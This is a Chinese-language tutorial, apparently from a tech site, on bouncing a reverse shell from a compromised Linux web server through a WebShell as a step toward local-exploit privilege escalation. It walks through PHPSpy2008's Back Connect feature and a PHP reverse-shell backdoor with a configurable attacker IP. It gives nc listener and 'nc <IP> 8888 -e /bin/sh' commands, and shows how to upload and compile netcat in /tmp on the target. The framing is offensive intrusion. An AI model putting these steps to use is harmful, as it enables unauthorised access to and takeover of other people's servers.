Linux下通过WebShell反弹CmdShell,在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。
使用PHP WebShell木马反弹Shell
一般情况下,大多数PHP WebShell木马后门都带有的Back Connect功能弹回一个Shell。例如在PHPSpy2008木马后门中,有一个Back Connect反弹连接功能,可以反弹获得一个继承当前WebShell权限的Shell命令窗口。
在使用Back Connect反弹连接功能前,首先需要使用NC工具在本地监听一个未使用的端口,例如监听本地8888端口,执行如下命令:
- nc -vv -l -p 8080
然后在WebShell的Back Connect反弹连接功能页中,会自动检测本机的IP地址,在"Your IP"中显示本机IP,在"Your Port"中输入监听的端口,这里为8080。然后选择要使用的反弹连接方式,PHPSpy2008提供了两种反弹连接方式,Perl和C,这里使用Perl反弹(图1)。
图1
设置完毕后,点击"Start"按钮,即可发送Shell窗口到监听端口了。在NC监听窗口中,可得到一个Shell命令行窗口(图2)。
图2
除了PHPSpy2008之外,还有一些专用的PHP反弹shell网页后门。首先在本地用文本编辑器打开PHP反弹shell网页后门文件,在其中找到如下代码内容:
- $yourip = "111.123.96.28";
- $yourport = '8888';
图3
修改设置其中的反弹IP地址111.123.96.28为本机IP地址,默认反弹端口为8888,可进行修改(图3)。修改后保存文件,将其通过WebShell上传。假设上传后的链接地址为http://www.***.com/shell.php。然后在本地打开命令提示符窗口,执行如下命令:
- nc -vv -l -p 8888
使用nc监听本地的8888端口。在浏览器中访问http://www.***.com/shell.php,在nc监听的端口中,就可以获得一个从网站服务器上返回来的命令行Shell了。#p#
使用NC反弹Shell
在进行Shell反弹时,有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况,例如有的服务器只支持JSP,不支持PHP。此时,可以同样采用Windows下的经典的NC反弹Shell方法。
在Windows下反弹CmdShell时,首先要在本机运行"nc -vv -l -p 端口号"监听端口,然后在WebShell中执行"nc -e cmd.exe 监听主机IP地址 端口",就可以反弹一个CmdShell。这个方法在Linux中仍然可行,只不过需要作一点小小的改动。
--在本机监听端口后,在WebShell运行nc反弹时,需要发送的是"/bin/sh",而不是cmd.exe,这样才够反弹发送一个Linux下的Shell命令行窗口给监听主机。例如执行如下命令:
- nc 119.1.44.32 8888 -e /bin/sh
即可反弹一个Shell到IP地址为119.1.44.32的监听主机的8888端口。#p#
远程主机无NC工具时的解决办法
在使用NC反弹Shell时,还会碰到远程主机上不能直接执行nc,或者没有安装nc工具。碰到这样的情况,可以给手工给远程主机安装一个NC,比较方便的方法是,到http://netcat.sourceforge.net/download.php下载nc源码,然后在本地Linux机器上编译成可执行程序后,再将编译文件上传到远程主机上。如果本地编译的程序在远程主机上无法使用,可以直接把源码传上去后,在目标机器上直接编译。
如果需要在目标机器上编译NC的话,需要注意一些问题,因为在得到Shell命令行窗口前,只能在WebShell里执行命令,一般每次只能执行一条,然后等待执行后的结果回显。
另外,在编译时需要注意程序执行路径的问题。由于Linux下权限设置非常严格,即使攻击者获得了WebShell,也可能无法直接在WEB网页目录下写入文件,只能在/tmp之类的文件夹中上传写入NC源文件(图4)。
图4
例如WebShell在/var/www/目录,那么在WebShell中执行命令默认的当前路径都是/var/www/,如果netcat源码包解压在了/tmp/netcat-0.7.1文件夹,在编译netcat进行make操作时,由于当前路径是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作时会出错。解决这个问题其实很简单,可以直接把切换路径和make操作两句命令写成一句,用分号隔开写就可以了。
将netcat-0.7.1源文件上传到可写文件夹/tmp中后,在WebShell中编译nc的操作过程及命令如下:
- cd /tmp;tar zxvf /tmp/netcat-0.7.1.tar.gz
图5
执行该命令后,可以将netcat-0.7.1源文件解压到/tmp/netcat-0.7.1目录中(图5)。然后再执行命令:
- /tmp/netcat-0.7.1/configure
配置完毕后,再执行如下命令进行编译:
- cd /tmp/netcat-0.7.1;make
由于使用了分号,可同时执行两条命令,将make跟在目录切换命令后面,在编译的时候就不会报错了(图6)。#p#
图6
编译成功以后,就可以输入命令反弹Shell了,例如这里nc路径是/tmp/netcat-0.7.1/nc,在本地执行"nc -vv -l -p 8080"命令监听8080号端口后,在WebShell中执行如下命令(图7):
- cd /tmp/netcat-0.7.1;nc 119.1.58.126 8080 -e /bin/sh
图7
即可向主机反弹回一个Shell命令行窗口了。需要注意的是,反弹的Linux Shell是没有$提示符的,执行一句返回一句(图8)。另外,这里反弹Shell时候运行的是/bin/sh,也可以反弹运行/bin/bash,但/bin/sh的权限比/bin/bash要设置松一些,因此成功率更高一些。
图8
【编辑推荐】